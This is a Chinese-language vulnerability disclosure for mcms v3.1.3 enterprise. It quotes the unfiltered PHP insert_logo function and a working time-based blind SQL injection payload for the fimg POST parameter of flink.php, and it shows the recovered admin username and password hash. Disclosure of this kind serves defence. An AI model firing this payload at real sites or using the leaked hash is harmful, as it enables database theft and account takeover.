### 简要描述:
mcms最新版SQL注入一枚(可出任意数据)
### 详细说明:
掌易科技的程序员反应相当快啊,确认漏洞当天就修复以后出新版本了,前面在wooyun提的几个漏洞新版的mcms做了相应的处理,发布了新版v_3.1.3.enterprise,再来研究研究。
注入一枚:POST /app/public/flink.php?m=insert_logo&ajax=1 post中有个参数fimg存在注入。
```
function m__insert_logo () {
global $dbm;
$_POST['fid'] = isset($_POST['fid']) ? intval($_POST['fid']) : 0;
$_POST['fimg'] = isset($_POST['fimg']) ? trim($_POST['fimg']) : '';
if($_POST['fid']<=0 || $_POST['fimg'] == '') die('{"code":"1","msg":"请刷新页面后重新更换logo图片"}');
$rs = $dbm->single_update(TB_PRE.'flink',array('fimg'=>$_POST['fimg']),'fid='.$_POST['fid']);
if($rs['error'] == '') die('{"code":"0","msg":"更换logo图片成功"}');
die('{"code":"1","msg":"请刷新页面后重新更换logo图片"}');
}
```
由于没有使用sqlxss()过滤,因此,这里可以闭合单引号进行注入。
Payload:POST提交
```
fid=1&fimg='or (select if(ord(mid((select login_name from mcms_user limit 0,1),1,1))%3d109,sleep(1),0)) or'' where fid=1#
```
因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,不延迟,如下图
[<img src="https://images.seebug.org/upload/201504/14234106a56bd19dc4e27dcdb8eea8a8bebdf2e9.jpg" alt="错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/14234106a56bd19dc4e27dcdb8eea8a8bebdf2e9.jpg)
若正确,延迟,如下图
[<img src="https://images.seebug.org/upload/201504/142341140390f0116353064396019ddf49601e0b.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/142341140390f0116353064396019ddf49601e0b.jpg)
按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72
### 漏洞证明:
见 详细说明
暂无评论